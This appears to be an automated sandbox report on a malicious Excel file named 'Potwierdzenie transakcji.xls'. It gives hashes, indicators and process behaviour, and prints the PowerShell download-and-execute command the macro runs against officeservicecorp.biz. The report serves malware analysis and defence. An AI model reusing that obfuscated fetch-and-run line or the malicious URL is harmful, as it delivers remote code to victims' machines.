Analysis
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max time kernel
138s -
max time network
132s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
30-06-2020 10:54
Static task
static1
Behavioral task
behavioral1
Sample
Potwierdzenie transakcji.xls
Resource
win7
Behavioral task
behavioral2
Sample
Potwierdzenie transakcji.xls
Resource
win10v200430
General
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Target
Potwierdzenie transakcji.xls
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Size
856KB
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MD5
02bebda14734b392c40e86a08717e140
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SHA1
95a6a416f682a9d254e76ec38ade01ce241b3366
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SHA256
debf78ac913e3b76debc7c4745d1e9ff858d6f3392ad02db78eb18408ac4beaf
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SHA512
9f72ca77987b210012156cba8f8b43c2e3bd0ff109c7c665088cc92eb4ca8374576c7f4c4b6dd67e04846124f143017c62ca9930d78f6bebe435bfb3382c992c
Malware Config
Extracted
http://officeservicecorp.biz/Lab.jpg
Signatures
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Suspicious use of WriteProcessMemory 2 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 1732 wrote to memory of 3668 1732 EXCEL.EXE powershell.exe PID 1732 wrote to memory of 3668 1732 EXCEL.EXE powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3668 powershell.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3668 powershell.exe 3668 powershell.exe 3668 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid process 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1732 EXCEL.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3668 1732 powershell.exe EXCEL.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Potwierdzenie transakcji.xls"1⤵
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://officeservicecorp.biz/Lab.jpg')2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/3668-0-0x0000000000000000-mapping.dmp